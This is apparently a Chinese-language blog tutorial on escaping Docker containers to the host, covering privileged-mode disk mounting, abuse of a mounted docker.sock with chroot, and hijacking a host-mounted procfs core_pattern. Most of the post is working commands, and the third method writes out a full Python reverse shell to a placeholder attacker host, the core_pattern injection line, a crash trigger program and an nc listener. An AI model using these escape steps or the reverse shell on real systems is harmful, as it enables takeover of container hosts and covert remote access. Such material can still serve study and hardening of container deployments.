Docker逃逸-云安全

0x01 特权模式下的逃逸

1.1准备工作

1.1.1下载镜像

docker pull alpine

1.1.2 特权模式启动镜像

docker run --rm --privileged=true -it alpine

1.2 逃逸步骤

1.2.1 是否在docker环境内

ls -al /

在根目录下发现了一个.dockerenv的隐藏文件,说明这是在docker环境内。

image

1.2.2.是否特权模式

cat /proc/self/status | grep CapEff

CapEff:0000003fffffffff / 0000001fffffffff 就是使用特权模式开启docker环境的。

image

1.2.3.查看当前所在目录

fdisk -l

image

Linux所在的目录为/dev/sda1

1.2.4 特权模式下逃逸docker容器

mkdir /test && mount /dev/sda1 /test

创建一个/test目录,并将/dev/sda1挂载到/test下

1.2.5 判断是否逃逸成功

cd /test/ && ls
发现来到了真机根目录下,即逃逸成功。

image

0x02 容器挂载逃逸

2.1 准备工作挂载socket

2.1.1 安装ubuntu镜像

docker pull ubuntu

2.1.2 启动环境

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2.1.3 进入环境

docker exec -it with_docker_sock /bin/bash

2.1.4 检测是否挂载了Socket

ls -lah /var/run/docker.sock

存在docker.sock。
image

2.2 进行逃逸

2.2.1 在socket内安装一个docker容器

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

2.2.2 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
chroot /host 

成功逃逸到真机中

image

0x03 宿主主机挂载了procfs

学习资料:https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs

  1. 进入环境

    docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
    
  2. 检测是否挂载了procfs

    find / -name core_pattern
    

    使用上面的命令查看core_pattern有在几个目录下出现,如果找到了两个目录,说明宿主主机存在procfs挂载。如果只找到一个目录,说明没有使用procfs挂载。

image

/host/proc/sys/kernrl/core_pattern这个路径记下来,后面用得上。

  1. 找到workdir所在目录

image

workdir=/var/lib/docker/overlay2/7818f5d66081ef6de8781ec7603519ed153c266a948c647c5acf7c3587076573/work 0 0

截取这一部分。后面用得上

dir:

/var/lib/docker/overlay2/7818f5d66081ef6de8781ec7603519ed153c266a948c647c5acf7c3587076573/
  1. 写入文件

    cat >/tmp/.x.py << EOF
    
    #!/usr/bin/python
    import os
    import pty
    import socket
    lhost = "xx.xx.xx.xx"
    lport = xxxx
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        os.putenv("HISTFILE", '/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/.x.py')
        s.close()
    if __name__ == "__main__":
        main()
    EOF
    
  2. 给.x.py文件加权限

    chmod +x /tmp/.x.py
    
  3. echo -e "|(dir)merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern
    
  4. apt-get update -y && apt-get install gcc -y
    cat >/tmp/x.c << EOF
    
    #include <stdio.h>
    int main(void)
    {
        int *a = NULL;
        *a = 1;
        return 0;
    }
    EOF
    
  5. 编译文件

    gcc x.c -o x
    

    ​ 执行文件:

     `./x` 
    
  6. vps上监听端口

    nc -lvnp 5566
    

    一般来说,java的文件上传在docker中得到的权限是root,而其他语言在docker中得到的权限是www-data普通用户。而普通用户在执行检测是否有procfs/socket挂载,是否是特权模式的时候是检测不出来的,命令执行之后没有回显。

    其实docker安全还有一篇的,是讲docker的内核漏洞和版本漏洞,由于我起的阿里云服务器复现了好几次都没复现成功,所以就没有写docker的内核漏洞和版本漏洞的利用了。

    docker内核和版本漏洞主要是用的自动化工具CDK进行利用。
    CDK项目地址:https://github.com/cdk-team/CDK

posted @ 2023-11-01 22:39  anata1133  阅读(172)  评论(0)    收藏  举报